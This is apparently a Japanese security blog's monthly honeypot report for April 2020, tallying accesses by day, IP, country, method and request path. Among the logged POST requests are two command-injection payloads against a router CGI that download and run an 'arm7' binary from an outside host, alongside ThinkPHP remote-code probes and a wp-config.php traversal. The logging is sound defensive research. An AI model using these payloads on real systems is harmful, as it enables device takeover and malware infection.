サイバーセキュリティ＆人工知能研究所

月刊ハニーポット(2020/05/01号)

2020/04/01-2020/04/30

2020/05/01 : Honeypot

私が運営するハニーポット(WOWHoneypot)の月刊アクセス情報です。
[注意]月に10回以上の同種同一アクセスを降順に集計しています。

---

・日別アクセス数

日付	回数
2020-04-01	950
2020-04-02	1375
2020-04-03	7845
2020-04-04	1336
2020-04-05	783
2020-04-06	674
2020-04-07	752
2020-04-08	750
2020-04-09	948
2020-04-10	6682
2020-04-11	3950
2020-04-12	450
2020-04-13	423
2020-04-14	638
2020-04-15	488
2020-04-16	405
2020-04-17	783
2020-04-18	664
2020-04-19	514
2020-04-20	321
2020-04-21	488
2020-04-22	535
2020-04-23	1114
2020-04-24	630
2020-04-25	803
2020-04-26	1895
2020-04-27	1062
2020-04-28	571
2020-04-29	544
2020-04-30	514

・IP アドレス別アクセス回数

IP アドレス(国別コード)	回数
122.114.57.92 (CN)	6840
193.106.30.99 (UA)	6302
222.170.170.196 (CN)	5952
185.39.10.73 (CH)	4056
185.128.41.50 (CH)	919
216.245.221.83 (US)	818
163.172.146.119 (GB)	261
163.172.190.160 (GB)	221
45.146.253.35 (DE)	211
62.210.88.239 (FR)	147
148.217.94.54 (MX)	142
163.172.189.32 (GB)	89
192.41.19.53 (US)	87
51.158.165.18 (FR)	84
62.210.201.108 (FR)	84
5.101.0.209 (RU)	66
180.250.12.19 (ID)	58
192.99.149.195 (CA)	48
124.95.178.58 (CN)	47
192.41.71.199 (US)	47
189.57.62.146 (BR)	45
51.158.180.179 (FR)	45
51.158.186.242 (FR)	44
210.245.110.254 (VN)	42
171.67.70.85 (US)	41
54.36.185.110 (FR)	40
45.64.134.198 (BD)	40
82.200.233.4 (KZ)	40
62.210.140.4 (FR)	39
138.68.57.207 (US)	36
152.26.66.77 (US)	36
132.145.89.166 (KR)	35
173.208.234.202 (US)	34
82.119.170.106 (DE)	31
142.93.99.56 (DE)	30
142.93.73.89 (US)	29
103.147.10.206 (ID)	29
209.251.53.192 (US)	28
145.239.69.74 (FR)	27
163.172.216.150 (NL)	27
37.59.57.87 (FR)	27
45.122.223.198 (VN)	27
142.4.22.236 (US)	27
103.48.192.203 (VN)	27
198.211.117.96 (US)	27
175.106.17.99 (ID)	27
45.76.33.175 (NL)	25
157.55.39.2 (US)	25
68.183.184.243 (SG)	24
223.25.99.37 (ID)	24
123.31.43.173 (VN)	24
40.65.233.127 (US)	24
69.162.79.242 (US)	24
37.59.60.115 (FR)	24
104.248.40.177 (DE)	24
157.245.240.102 (US)	24
81.170.239.2 (SE)	24
84.247.48.25 (IE)	24
104.248.227.104 (US)	24
198.57.167.49 (US)	24
138.68.52.53 (US)	24
217.182.73.36 (FR)	24
157.245.150.99 (SG)	24
62.210.177.221 (FR)	24
192.169.139.6 (US)	24
183.136.225.45 (CN)	24
103.133.114.22 (ID)	22
66.70.160.187 (CA)	22
46.105.102.68 (FR)	21
52.140.242.103 (JP)	21
52.179.231.206 (US)	21
157.245.82.57 (US)	21
27.123.221.197 (ID)	21
51.255.51.127 (FR)	21
157.230.114.229 (DE)	21
51.254.118.224 (FR)	21
159.203.36.18 (CA)	21
68.183.60.156 (US)	21
47.91.130.111 (HK)	21
159.65.145.176 (IN)	21
159.203.107.212 (US)	21
95.179.201.234 (GB)	21
61.244.196.102 (HK)	21
104.236.163.176 (US)	21
51.75.23.214 (FR)	21
165.22.191.129 (US)	21
167.114.235.12 (FR)	21
51.83.207.112 (FR)	21
62.210.140.151 (FR)	21
157.245.96.139 (IN)	20
217.116.134.29 (RU)	20
192.3.255.136 (US)	20
165.22.255.242 (SG)	19
111.93.180.58 (IN)	19
171.244.129.66 (VN)	18
162.243.27.248 (US)	18
157.230.239.6 (US)	18
54.38.177.68 (FR)	18
178.62.233.203 (NL)	18
2.228.87.82 (IT)	18
34.76.172.157 (US)	18
117.239.180.188 (IN)	18
165.22.35.21 (US)	18
142.4.7.212 (US)	18
192.232.229.222 (US)	18
51.38.39.222 (FR)	18
174.138.30.233 (SG)	18
80.85.156.55 (RU)	18
142.4.6.212 (US)	18
165.22.223.82 (IN)	18
163.172.42.123 (GB)	18
68.183.184.7 (SG)	18
40.118.4.85 (NL)	18
142.93.47.171 (GB)	18
142.4.211.200 (CA)	18
69.163.224.109 (US)	18
68.183.225.93 (SG)	18
159.65.219.250 (US)	18
132.255.70.76 (CL)	18
62.210.185.4 (FR)	18
174.138.1.99 (NL)	18
138.197.141.124 (CA)	18
24.37.113.22 (CA)	18
51.77.140.110 (FR)	18
51.77.223.62 (FR)	18
104.248.29.200 (DE)	18
64.202.184.249 (US)	18
94.231.178.226 (UA)	18
163.172.125.208 (GB)	18
208.109.11.224 (US)	18
195.170.168.40 (PT)	18
104.236.75.62 (US)	18
157.245.233.164 (US)	18
94.23.219.41 (FR)	18
46.101.127.161 (DE)	18
35.200.248.104 (US)	18
39.108.52.114 (CN)	18
132.148.152.103 (US)	18
142.93.204.221 (US)	17
192.81.210.176 (US)	16
45.252.248.23 (VN)	16
178.62.65.64 (GB)	15
51.255.170.202 (FR)	15
192.99.200.69 (CA)	15
103.91.206.2 (TH)	15
103.129.223.126 (ID)	15
69.163.169.133 (US)	15
46.101.84.165 (GB)	15
195.154.172.15 (FR)	15
35.201.250.90 (US)	15
139.99.45.201 (CA)	15
91.234.194.246 (FR)	15
46.101.150.9 (DE)	15
5.39.87.36 (FR)	15
182.61.29.94 (CN)	15
157.245.62.87 (SG)	15
51.255.83.132 (FR)	15
51.255.101.8 (FR)	15
202.150.143.242 (ID)	15
167.71.111.16 (US)	15
45.55.135.88 (US)	15
139.59.4.145 (IN)	15
165.22.251.121 (SG)	15
149.202.45.11 (FR)	15
167.99.93.153 (GB)	15
67.205.10.77 (US)	15
208.113.153.203 (US)	15
104.236.100.42 (US)	15
162.241.67.157 (US)	15
69.163.163.198 (US)	15
103.83.192.66 (IN)	15
35.232.75.184 (US)	15
66.249.71.62 (US)	15
47.89.247.10 (US)	15
139.99.148.4 (AU)	15
84.3.176.12 (HU)	15
207.38.86.248 (US)	15
104.131.68.92 (US)	15
206.189.157.183 (SG)	15
68.183.238.246 (SG)	15
160.153.245.123 (US)	15
149.56.129.129 (CA)	15
142.93.35.169 (GB)	15
149.202.48.58 (FR)	15
192.241.159.70 (US)	15
80.90.82.70 (AL)	15
213.149.103.132 (ME)	15
167.99.70.191 (SG)	15
104.131.139.147 (US)	15
167.114.210.127 (CA)	15
173.236.149.184 (US)	15
208.97.177.178 (US)	15
103.147.10.222 (ID)	15
149.56.19.4 (CA)	15
157.230.111.136 (DE)	15
77.81.224.88 (IT)	15
116.206.233.146 (ID)	15
178.62.26.232 (GB)	15
34.87.63.134 (US)	15
206.189.153.181 (SG)	15
104.248.144.208 (SG)	15
81.29.215.84 (IT)	15
91.134.142.57 (FR)	15
147.135.211.127 (PL)	15
64.202.185.147 (US)	15
138.197.146.132 (CA)	15
192.241.151.77 (US)	15
128.199.212.194 (SG)	15
138.197.134.206 (CA)	15
51.255.64.58 (FR)	15
35.197.186.58 (US)	15
107.179.19.68 (US)	15
142.93.46.172 (GB)	15
79.137.84.214 (FR)	15
93.114.86.226 (GB)	15
188.166.18.69 (NL)	15
157.230.227.105 (US)	15
206.189.24.6 (GB)	15
172.80.253.50 (IR)	15
192.162.68.244 (FR)	15
120.26.95.190 (CN)	15
132.148.141.147 (US)	15
51.254.205.160 (FR)	15
208.113.198.175 (US)	15
167.71.209.115 (SG)	15
35.200.17.149 (US)	15
64.111.121.238 (US)	15
116.203.218.109 (DE)	15
164.132.38.166 (FR)	15
148.72.207.135 (US)	15
95.110.129.91 (IT)	15
35.247.168.219 (US)	15
103.81.85.21 (VN)	14
35.240.238.120 (US)	14
104.199.216.0 (US)	14
157.230.144.151 (US)	14
116.62.49.96 (CN)	14
155.94.131.150 (US)	14
173.249.45.241 (DE)	13
45.252.248.13 (VN)	13
64.90.40.100 (US)	13
46.101.13.211 (GB)	13
178.128.122.157 (SG)	13
178.154.200.121 (RU)	13
35.198.48.78 (US)	13
51.89.157.100 (FR)	12
35.240.189.61 (US)	12
45.119.212.14 (VN)	12
149.28.193.251 (US)	12
37.59.52.44 (FR)	12
93.113.111.100 (GB)	12
167.99.204.251 (GB)	12
128.199.192.125 (SG)	12
139.59.172.23 (GB)	12
142.93.124.210 (US)	12
128.199.161.98 (SG)	12
137.74.158.143 (FR)	12
165.227.94.166 (US)	12
137.74.206.80 (FR)	12
167.71.118.16 (US)	12
178.62.76.138 (GB)	12
34.95.175.89 (US)	12
148.66.135.152 (SG)	12
139.59.146.28 (DE)	12
192.254.207.43 (US)	12
107.191.40.248 (US)	12
159.203.70.169 (US)	12
192.185.219.16 (US)	12
107.191.42.45 (US)	12
150.95.133.33 (JP)	12
62.210.104.83 (FR)	12
5.182.210.228 (NL)	12
159.65.85.251 (GB)	12
188.166.158.153 (GB)	12
51.83.108.93 (FR)	12
68.183.43.150 (GB)	12
142.93.152.219 (CA)	12
54.38.212.160 (FR)	12
148.66.135.69 (SG)	12
103.81.85.9 (VN)	12
195.224.117.82 (GB)	12
148.72.207.250 (US)	12
213.32.91.71 (FR)	12
178.62.33.222 (GB)	12
104.248.158.95 (SG)	12
13.75.163.43 (AU)	12
3.223.104.32 (US)	12
162.214.14.226 (US)	12
142.93.209.221 (IN)	12
178.62.9.122 (GB)	12
195.154.114.140 (FR)	12
91.121.101.77 (FR)	12
46.101.57.196 (GB)	12
102.128.176.118 (EG)	12
35.225.211.131 (US)	12
192.81.210.7 (US)	12
173.236.243.71 (US)	12
62.210.242.66 (FR)	12
208.113.162.87 (US)	12
68.183.75.36 (DE)	12
138.197.136.72 (CA)	12
209.97.146.28 (US)	12
46.101.112.205 (DE)	12
80.210.119.185 (IT)	12
47.101.218.170 (CN)	12
91.233.117.43 (FI)	12
139.59.65.8 (IN)	12
157.230.35.172 (SG)	12
69.163.163.220 (US)	12
68.183.134.134 (US)	12
35.202.157.96 (US)	12
139.59.43.196 (IN)	12
66.33.212.10 (US)	12
93.113.110.111 (GB)	12
45.119.212.93 (VN)	12
64.202.189.187 (US)	12
64.111.126.43 (US)	12
91.134.248.230 (FR)	12
139.59.10.121 (IN)	12
35.185.133.141 (SG)	12
66.115.173.18 (US)	12
159.203.27.100 (CA)	12
140.238.15.222 (KR)	12
51.38.63.69 (FR)	12
47.75.172.46 (US)	12
35.193.78.86 (US)	12
81.16.10.158 (AM)	12
206.189.121.29 (GB)	12
148.72.31.118 (US)	12
114.7.197.82 (ID)	12
192.99.31.122 (CA)	12
173.236.224.155 (US)	12
114.5.177.198 (ID)	12
178.128.154.236 (US)	12
159.89.123.66 (CA)	12
192.169.200.145 (US)	12
75.119.200.124 (US)	12
128.199.110.156 (SG)	12
35.230.162.59 (US)	12
97.74.236.9 (US)	12
95.217.135.116 (DE)	12
159.89.86.92 (US)	12
198.199.114.226 (US)	12
3.124.254.147 (DE)	12
51.75.247.11 (FR)	11
165.22.94.219 (DE)	11
213.180.203.156 (RU)	11
66.249.71.60 (US)	11
175.126.62.163 (KR)	11
157.55.39.76 (US)	11
162.144.79.223 (US)	10
5.135.164.126 (FR)	10
206.189.26.231 (GB)	10
37.187.250.108 (FR)	10
167.71.132.227 (GB)	10
165.227.86.14 (US)	10
62.210.177.41 (FR)	10
47.101.47.7 (CN)	10
81.177.136.29 (RU)	10
207.46.13.137 (US)	10

・国別アクセス回数

国名(国別コード)	回数
China (CN)	13317
Ukraine (UA)	6341
United States (US)	5379
Switzerland (CH)	4981
France (FR)	1738
United Kingdom (GB)	1147
Germany (DE)	978
Singapore (SG)	858
Canada (CA)	488
India (IN)	454
Vietnam (VN)	376
Netherlands (NL)	361
Indonesia (ID)	352
Russia (RU)	283
Mexico (MX)	176
Brazil (BR)	162
Italy (IT)	128
South Korea (KR)	109
Japan (JP)	100
Turkey (TR)	90
Hong Kong (HK)	88
Iran (IR)	66
Bangladesh (BD)	61
Australia (AU)	52
Thailand (TH)	50
Kazakhstan (KZ)	49
Malaysia (MY)	48
Sweden (SE)	48
Spain (ES)	43
Taiwan (TW)	36
Hungary (HU)	34
Poland (PL)	34
Ireland (IE)	26
Portugal (PT)	25
Romania (RO)	24
Chile (CL)	22
Armenia (AM)	20
Finland (FI)	19
Albania (AL)	18
Colombia (CO)	17
Egypt (EG)	16
South Africa (ZA)	15
Montenegro (ME)	15
Peru (PE)	14
Republic of Lithuania (LT)	13
Argentina (AR)	13
Greece (GR)	12
Tunisia (TN)	11
Latvia (LV)	10
Norway (NO)	10
Czechia (CZ)	10

・メソッド別アクセス回数

メソッド	回数
GET	13726
POST	24315
HEAD	821
PROPFIND	0
CONNECT	22
OPTIONS	3

・リクエスト別アクセス回数(GET)

リクエスト	回数
GET /manager/html	7770
GET /wp-login.php	2601
GET /robots.txt	151
GET /phpMyAdmin/scripts/setup.php	98
GET /ads.txt	65
GET /blog/wp-login.php	41
GET /phpmyadmin/	32
GET ///wp-json/wp/v2/users/	30
GET ///?author=1	29
GET /portal/redlion	25
GET /hudson	24
GET /TP/public/index.php	22
GET /wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php	22
GET /index.asp	22
GET /htmlV/welcomeMain.htm	22
GET /cgi-bin/luci	21
GET /dana-na/auth/url_default/welcome.cgi	21
GET /remote/login?lang=en	21
GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1	20
GET /?author=1	19
GET /wp-includes/wlwmanifest.xml	17
GET /xmlrpc.php?rsd	17
GET /blog/wp-includes/wlwmanifest.xml	17
GET /wordpress/wp-includes/wlwmanifest.xml	17
GET /wp/wp-includes/wlwmanifest.xml	17
GET /site/wp-includes/wlwmanifest.xml	17
GET /cms/wp-includes/wlwmanifest.xml	17
GET /web/wp-includes/wlwmanifest.xml	16
GET /website/wp-includes/wlwmanifest.xml	16
GET /news/wp-includes/wlwmanifest.xml	16
GET /2018/wp-includes/wlwmanifest.xml	16
GET /2019/wp-includes/wlwmanifest.xml	16
GET /shop/wp-includes/wlwmanifest.xml	16
GET /wp1/wp-includes/wlwmanifest.xml	16
GET /test/wp-includes/wlwmanifest.xml	16
GET /media/wp-includes/wlwmanifest.xml	16
GET /wp2/wp-includes/wlwmanifest.xml	16
GET /sito/wp-includes/wlwmanifest.xml	16
GET /home.asp	16
GET /login.cgi?uri=	16
GET /phpmyadmin/scripts/setup.php	15
GET /vpn/index.html	15
GET /favicon.ico	14
GET /?test	14
GET /solr/admin/info/system?wt=json	11
GET /?a=fetch&content=die(@md5(HelloThinkCMF))	11
GET /?XDEBUG_SESSION_START=phpstorm	11
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP	11
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	11
GET /myadmin/scripts/setup.php	11
GET /pma/scripts/setup.php	10

・リクエスト別アクセス回数(POST)

リクエスト	回数
POST /wp-login.php	6606
POST /xmlrpc.php	3646
POST /wp//wp-login.php	1525
POST /wordpress//wp-login.php	1499
POST //wp-login.php	1446
POST /blog//wp-login.php	1439
POST /code.conflicts.php	239
POST /database.exceptions.php	120
POST /cookie.sess.php	119
POST /img.http.php	119
POST /less.img.php	118
POST /admin.conflicts.php	117
POST /database.tmp.php	117
POST /library.admin.php	116
POST /load.log.php	115
POST /include.bad.php	115
POST /img.multi.php	115
POST /config.sys.php	114
POST /types.library.php	113
POST /cache.bad.php	112
POST /process.created.php	112
POST /type.sessions.php	112
POST /created.gateway.php	111
POST /exception.accept.php	111
POST /post.content.php	111
POST /cache.jpeg.php	111
POST /storage.processor.php	111
POST /content.using.php	111
POST /media.css.php	111
POST /gateway.png.php	111
POST /multi.http.php	109
POST /content.conflicts.php	109
POST /less.reset.php	109
POST /link.internal.php	108
POST /session.content.php	108
POST /tmp.data.php	108
POST /method.xml.php	108
POST /db.body.php	108
POST /load.jpg.php	107
POST /work.modes.php	107
POST /archive.db.php	107
POST /content.process.php	106
POST /process.htaccess.php	106
POST /media.modes.php	105
POST /cache.store.php	105
POST /database.jpeg.php	105
POST /sys.link.php	105
POST /accepted.lock.php	104
POST /wp-content/plugins/temp.php	104
POST /cookie.archive.php	104
POST /modes.json.php	103
POST /media.processor.php	103
POST /except.exceptions.php	101
POST /conflict.accept.php	101
POST /data.image.php	101
POST /library.clients.php	101
POST /css.accepted.php	99
POST /requests.suspect.php	98
POST /jpeg.using.php	95
POST /system.gone.php	95
POST /init.using.php	94
POST /throw.xmlrpc.php	93
POST /jpeg.png.php	93
POST /system.processor.php	92
POST /internal.clients.php	90
POST /json.accepted.php	89
POST /success.init.php	89
POST /success.class.php	88
POST /client.config.php	88
POST /accepted.exceptions.php	88
POST /request.admin.php	87
POST /success.include.php	86
POST /suspected.processor.php	84
POST /phpMyAdmin/scripts/setup.php	84
POST /using.sess.php	82
POST /throw.types.php	80
POST /png.jpg.php	76
POST /cgi-bin/mainfunction.cgi	69
POST /work.clases.php	46
POST /tool.cookie.php	37
POST /throw.clases.php	32
POST /clients.tools.php	32
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a	31
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a	31
POST /blog/closedbeta.net/blog/wp-login.php	29
POST /boaform/admin/formPing	28
POST /client.reset.php	27
POST /locked.clients.php	26
POST /cookie.admin.php	25
POST /sys.logs.php	22
POST /config.throws.php	22
POST /admin.database.php	21
POST /data.logs.php	21
POST /requests.request.php	21
POST /TP/public/index.php?s=captcha	21
POST /cache.request.php	18
POST /css.images.php	17
POST /store.data.php	16
POST /load.json.php	15
POST /gateway.json.php	15
POST /blog/wp-login.php	12
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	11

・HTTP バージョン別アクセス回数

HTTP バージョン	回数
HTTP/1.1	38572
HTTP/1.0	315

(全 38887 アクセス)

---

記述に際しては、細心の注意をしたつもりですが、間違いやご指摘がありましたら、こちらからお知らせいただけると幸いです。

→「週刊ハニーポット(2020/05/11号)」
←「週刊ハニーポット(2020/04/27号)」


«　戻る